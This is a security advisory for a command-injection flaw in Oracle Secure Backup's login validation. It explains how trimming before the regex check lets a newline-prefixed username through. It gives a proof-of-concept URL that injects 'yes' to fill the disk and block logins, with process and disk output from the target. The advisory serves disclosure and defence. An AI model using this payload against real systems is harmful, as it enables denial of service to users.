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[R1] Oracle Secure Backup /apache/htdocts/php/common.php username Parameter Remote Code Execution

Critical

Synopsis

Oracle Secure Backup contains a flaw that allows for remote code execution. This flaw exists because the application does not validate the 'username' parameter before being passed to the 'validate_login' function in the /apache/htdocts/php/common.php script. This may allow a user to create a specially crafted URL that would execute arbitrary code on the remote server with the privileges of the web server.

Additional technical details:

The vulnerability lies in the validate_login() function of /apache/htdocs/php/common.php. If the username provided to this function is considered valid, it will be passed to a subsequent call to exec_qr(), which can result in command injection. Note that validate_login() makes some efforts to prevent command injection:


    273     if (strlen($username) > 128 || preg_match("/[^a-zA-Z0-9._-]/", trim($username)))
274 {
275 $status_msg[] = "Error: login failed";
276 return false;
277 }

The function only allows alphanumeric characters (plus period, underscore, and dash) which thwarts most of the normal shell injection strings. However, it calls trim() on the username before performing this validation. Providing a crafted username will pass validation and result in command injection. (The first character is a newline rather than a literal "\n"). For example:

\ninjected-cmd

Unfortunately, this severely limits what can be injected as it must conform to the regex above. Further, it means that arguments cannot be passed to the injected command. As a proof of concept, injecting the yes command can lead to a denial of service condition. During the login process, output is recorded to a temporary log file. If the yes command is injected, an endless stream of 'y's gets appended to this log file, which eventually exhausts the space on whichever partition the log file is created on. This prevents subsequent log files from being created, which prevents any other users from logging in. This can be accomplished with the following URL:

https://[target]/login.php?attempt=1&uname=%0ayes

On the target system:


$ ps -ef | grep yes
nobody   11305 10485  0 11:32 pts/0    00:00:00 sh -c yes: invalid option -- - --gui -u ?yes lsuser -s ?yes 2>&1 | cat > /tmp/.LqMtP3
nobody   11308 11305 53 11:32 pts/0    00:00:03 yes
$ ls -lh /tmp/.LqMtP3  # the temp file, which has a random name in this format
-rw------- 1 nobody nobody 3.4G Jan 14 11:35 /tmp/.LqMtP3
$ df -h  # after a few minutes...
Filesystem            Size  Used Avail Use% Mounted on
/dev/mapper/VolGroup00-LogVol00
                      8.2G  7.7G     0 100% /
/dev/sda1              99M   25M   70M  26% /boot
tmpfs                 506M     0  506M   0% /dev/shm

Solution

Oracle has released a patch to address this issue.

Disclosure Timeline

2011-04-01 - Vulnerability reported to vendor
2011-07-21 - Coordinated public release of advisory via ZDI

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